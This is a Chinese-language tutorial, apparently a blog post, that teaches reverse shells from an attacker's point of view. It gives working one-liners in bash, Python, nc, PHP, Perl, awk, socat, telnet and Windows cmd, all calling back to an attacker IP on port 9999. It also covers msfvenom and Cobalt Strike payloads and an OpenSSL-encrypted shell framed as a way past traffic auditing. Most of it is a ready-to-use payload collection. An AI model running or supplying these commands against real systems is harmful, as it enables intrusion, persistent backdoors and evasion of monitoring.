反弹shell
什么是shell
Shell 俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。简单说用户通过壳(shell)访问操作系统内核的服务,也就是由壳到内核,执行系统命令。
用户->外围程序(shell)->内核->硬件
什么是反弹shell
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹shell
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
某客户机中了你的网马,但是它在局域网内,你直接连接不了。
目标机器的ip动态改变,你不能持续控制。
由于防火墙等限制,对方机器只能发送请求,不能接收请求。
对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,
webshell下执行命令不交互,为了方便提权或其它操作必须要反弹shell。
反弹shell相当于新增一个后门,当webshell被发现删除后权限不会丢失。
所以建立一个服务端让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
确定目标支持的反弹方式
使用whereis确定目标支持的反弹方式
whereis nc bash python php exec lua perl ruby
bash反弹shell
bash反弹是实战中用的最多的方法
1 | 攻击者:nc -lvp 9999 |
命令解释
nc -lvp 9999
1 | nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口 |
bash -i >& /dev/tcp/192.168.20.128/9999 0>&1
1 | bash是命令终端,上面反弹shell的命令是在受害者服务器上执行 |
linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:
| 名称 | 文件描述符 | 说明 |
|---|---|---|
| 标准输入 stdin | 0 |
你键盘输入的内容 |
| 标准输出 stdout | 1 |
正常输出到屏幕的内容 |
| 标准错误 stderr | 2 |
错误输出到屏幕的内容 |
还有就是>&这个符号的含义,最好的理解是这样的:
1 | 当>&后面接文件时,表示将标准输出(1)和标准错误输出(2)重定向至文件。 |
| 重定向格式 | 含义 |
|---|---|
N>file |
把 N 号描述符输出重定向到文件 |
N>&M |
把 N 号描述符的输出重定向到 M 的目标 |
N<&M |
把 N 号描述符的输入重定向到 M 的输入源 |
python反弹shell
反弹命令:
1 | 攻击者:nc -lvp 9999 |
伪终端:
1 | python3 -c "import os,socket,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.20.128',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash');" |
命令解释
import os,socket,subprocess;
导入必要的标准库:
socket: 用于创建 TCP 连接(本地 ↔ 远程主机)os: 提供系统级操作,如文件描述符操作(这里关键)subprocess: 用于启动新的进程(启动/bin/bash)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
1 | 创建一个 TCP 套接字 s |
什么是 fileno()?
1 | 每个打开的文件、socket、管道在内核中都有一个文件描述符(file descriptor),是一个整数编号。 |
os.dup2(s.fileno(), X) 的作用
什么是 os.dup2(fd_src, fd_dest)?
1 | 这是一个底层系统调用(C 系统调用 dup2() 的 Python 封装) |
这样,所有的输入输出都通过 socket 来完成,也就是都发到了攻击者那边。
nc反弹shell
使用场景:目标主机安装了netcat
1 | 攻击者:nc -lnvp 9999 |
命令解释
nc -lnvp 9999
1 | -n 类似于netstat的-n选项都是不进行DNS解析,nc会对连接主机进行DNS解析,无法解析攻击者主机首行就会警告 |
nc -e /bin/bash 192.168.20.128 9999
1 | -e 用于连接远程服务器,常用于反弹shell 后面接的是程序 ip port |
php反弹
首先最简单的一个办法,就是使用php的exec函数执行系统命令反弹shell
(需要php关闭safe_mode选项,才可以使用exec函数)
1 | 攻击者:nc -lnvp 9999 |
一些变形:
1 | 攻击者:nc -nvlp 4986 |
命令解释
php -r '$sock=fsockopen("192.168.20.128",9999);exec("/bin/bash -i <&3 >&3 2>&3");'
1 | <&3 如果前面没有文件描述符,则默认是0<&3,3如果没有定义,则表示事先打开的某个东西,这里表示socket协议 |
java反弹
主要是java的class文件进行反弹shell,主要与jndi联动的
1 | import java.io.IOException; |
可以看到其实就是bash反弹
exec反弹
这个和php的exec函数其实是一样的,就是多了一个将FD3绑定到socket协议上了
1 | 攻击者:nc -lnvp 9999 |
perl反弹
1 | 攻击者:nc -lnvp 9999 |
命令解释
这里可以看到其实就是把python的换成perl语言来写,原理是一样的
use Socket;
- 引入 Perl 的
Socket模块,提供 socket 编程的函数和常量。
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
- 创建一个 TCP socket,赋值给文件句柄
S - 参数解释:
S:这是 Perl 的句柄(socket 名字)PF_INET:协议族(IPv4)SOCK_STREAM:套接字类型(流式套接字,TCP)getprotobyname("tcp"):获取 TCP 协议号(通常是 6)
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
- STDIN: 标准输入重定向到socket
- STDOUT:标准输出重定向到socket
- STDERR:标准错误输出重定向到socket
awk反弹
因为awk的{代码},这里面可以执行代码,这里要先进行端口监听,再进行反弹shell,不然会报错
本质是通过getline进行命令执行
1 | 攻击者:nc -lnvp 9999 |
代码解释
使用 awk 的 BEGIN{ ... } 块,只在程序开始时执行一次。
s="/inet/tcp/0/192.168.20.128/9999"
这是 gawk(GNU awk)的一种 特殊语法:
- gawk 在支持
two-way open的时候,允许把/inet/tcp/...当成 socket 文件路径。 /inet/tcp/0/ip/port表示:- 协议:
tcp - 本地端口:
0(随机) - 目标 IP:
192.168.20.128 - 目标端口:
9999
- 协议:
s|&getline c
|&是 gawk 的双向管道操作符,可以同时进行读取和写入。s|&getline c的意思是:- 从远程读取一行数据,存入变量
c - 如果读到内容,继续往下执行
- 从远程读取一行数据,存入变量
while(c|getline) print|&s
- 这部分逻辑是:
- 把远程发送过来的命令存在变量
c(例如ls) - 然后执行它(相当于传入
getline,类似eval) - 把执行结果通过
print|&s发送回远程。
- 把远程发送过来的命令存在变量
telnet反弹
需要在攻击主机上分别监听9998和8999端口,执行反弹shell命令后,在9998终端输入命令,8999查看命令执行后的结果
1 | 攻击者: |
本质就是telnet可以直接与服务器交互
socat反弹
使用场景:需要受害者主机安装socat
1 | 攻击者:nc -lnvp 9999 |
socat 是什么?
socat 是一个“多功能的 Socket 工具”,名字来自:
SOcket CAT, 类似 netcat 但功能更强大。
它可以连接各种网络流和本地文件描述符、伪终端等。常用于:
- 端口转发
- 构建代理
- reverse shell
- SSL 隧道
- 建立 TTY/PTY 等
命令解释
| 参数部分 | 含义 |
|---|---|
exec:'bash -li' |
表示启动一个进程,执行 bash,-l 是登录 shell,-i 是交互式 |
pty |
为这个进程分配一个 伪终端(pseudo terminal),这是实现交互式 shell 的关键! |
stderr |
把标准错误(stderr)也通过 socket 发送(通常 stderr 不会重定向) |
setsid |
创建一个新的会话(session),防止受到原有终端的信号干扰 |
sigint |
允许接收 Ctrl+C(SIGINT)中断信号 |
sane |
设置终端为“标准模式”(sane mode),清理一些奇怪的终端设置 |
tcp:192.168.20.128:9999 |
远程攻击者监听的 IP 和端口,将流量转发过去 |
Windows反弹shell
nc反弹
整体和linux上的差不多,也是需要下载netcat,只是把shell换成了cmd
netcat 下载:https://eternallybored.org/misc/netcat/
1 | 攻击者:nc -lnvp 9999 |
MSF反弹
使用 msfvenom -l 结合关键字过滤(如cmd/windows/reverse),找出我们可能需要的payload
msfvenom -l payloads | grep 'cmd/windows/reverse'
生成命令
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.20.128 LPORT=9999
先在msfconsole上进行使用payload

然后将生成的payload在受害者主机的cmd上执行(测试发现只有win10以下的主机才可以,win10及其以上会直接被防火墙拦截)

CS反弹
首先要开启服务端cs

前面是cs服务器ip,后面是客户端连接密码


然后cs会生成一个payload,接着在受害者主机的cmd上运行就可以了

测试了还是只能在win10及其以下的系统运行,win10及其以上防火墙直接拦截
交互式shell
通过nc…命令反弹shell得到的shell并不能称为完全交互的shell,通常称之为’哑’shell。
通常存在以下缺点
ctrl-c会中断会话
无法正常使用vim等文本编辑器
没有向上箭头使用历史
无法执行交互式命令
无法查看错误输出
无法使用 tab 命令补全
无法操控jobcontrol
因此有必要去获取一个完全交互的shell(只要获得一个伪终端就可以了),方法就是在shell 中执行python,使用pty模块,创建一个原生的终端。下面提供两条命令,根据受害者主机python不同,选择不同版本
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
即修改成
1 | python3 -c "import os,socket,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.20.128',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash');" |
或者用受害者主机直接下载远程vps的木马
流量加密
部分防护设备会对内外网传输流量进行审查,反弹shell执行命令都是以明文进行传输的,很容易被查杀。
因此需要将原始流量使用 openssl 加密,绕过流量审计设备。
1、首先kali上生成SSL证书的公钥/私钥对,信息懒得填,一直回车即可。
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
2、kali使用 OpenSSL 监听一个端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
3、目标主机执行反弹加密shell
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s
命令解释
mkfifo /tmp/s:
- 创建一个名为
/tmp/s的命名管道(FIFO)。
/bin/bash -i < /tmp/s 2>&1:
- 启动一个交互式 Bash Shell,标准输入从
/tmp/s读取。 2>&1将标准错误重定向到标准输出,确保所有输出都通过同一通道发送。
| openssl s_client -quiet -connect ip:port > /tmp/s:
- 将 Bash 的输出通过管道传递给 OpenSSL 的
s_client,该客户端尝试连接到指定的ip:port。 -quiet选项使输出更简洁,适用于数据传输。> /tmp/s将从远程主机接收到的数据写入/tmp/s,供 Bash 作为输入读取。
rm /tmp/s:
- 在连接结束后,删除创建的命名管道
/tmp/s,清理痕迹。






